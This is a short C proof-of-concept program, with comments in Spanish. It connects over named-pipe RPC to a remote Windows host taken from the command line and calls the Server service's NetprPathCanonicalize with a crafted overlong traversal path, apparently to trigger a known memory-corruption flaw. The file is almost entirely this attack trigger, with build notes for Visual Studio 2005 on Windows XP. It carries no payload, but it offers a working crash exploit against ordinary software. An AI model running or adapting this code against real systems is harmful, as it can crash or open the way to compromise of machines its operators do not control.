#include <windows.h>
#include "srvsvc.h"
#include <stdio.h>

//Modificar RpcNdr.h ( c:\Archivos de programa\Microsoft Visual Studio 8\VC\PlatformSDK\Include\ )
//#if (0x500 <= _WIN32_WINNT)
//#define TARGET_IS_NT50_OR_LATER 0 // 1
//#else
//#define TARGET_IS_NT50_OR_LATER 1 // 0
//#endif

//Compilado con Visual Studio 2005 Profesional sobre Windows XP SP3

extern "C" PVOID __stdcall MIDL_user_allocate(size_t s) { return malloc(s); }
extern "C" VOID __stdcall MIDL_user_free(PVOID p) { free(p); }

int main(int argc, char **argv)
{
  RPC_STATUS status;
  unsigned char *strBind = 0;
  handle_t handle;
  wchar_t han;

  status = RpcStringBindingComposeA(0, // object uuid
	(RPC_CSTR)"ncacn_np", // protseq
	(RPC_CSTR)argv[1], // net addr
	(RPC_CSTR)argv[2], // endpoint
	0,
	&strBind);
  if (status) { printf("%d\n", status); return status; }

  printf("%s\n", strBind);

  status = RpcBindingFromStringBinding(strBind, &handle);
  if (status) { printf("%d\n", status); return status; }

  RpcTryExcept {
    unsigned char x[1000];
    long q = 1;


//long _NetprPathCanonicalize( 
//    /* [string][unique][in] */ wchar_t *arg_1,
//    /* [string][in] */ wchar_t *arg_2,
//    /* [size_is][out] */ unsigned char *arg_3,
//    /* [range][in] */ long arg_4,
//    /* [string][in] */ wchar_t *arg_5,
//    /* [out][in] */ long *arg_6,
//    /* [in] */ long arg_7);

//MSDN
//NET_API_STATUS NetprPathCanonicalize(
//  [in, string, unique] SRVSVC_HANDLE ServerName,
//  [in, string] WCHAR* PathName,
//  [out, size_is(OutbufLen)] unsigned char* Outbuf,
//  [in, range(0,64000)] DWORD OutbufLen,
//  [in, string] WCHAR* Prefix,
//  [in, out] DWORD* PathType,
//  [in] DWORD Flags
//);
//    _NetprPathCanonicalize(handle, L"AAA", L"BBB", x, 1000, L"", &q, 0x100);
	han=(wchar_t)handle;
	_NetprPathCanonicalize(&han, L".\\\\x\\..\\..\\xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", x, 1000, L"", &q, 1);
    
  } RpcExcept(EXCEPTION_EXECUTE_HANDLER) {
    unsigned long code = RpcExceptionCode();
    printf("WAHAHAH %d %08x\n", code, code);
  } RpcEndExcept

  printf("hi\n");
}
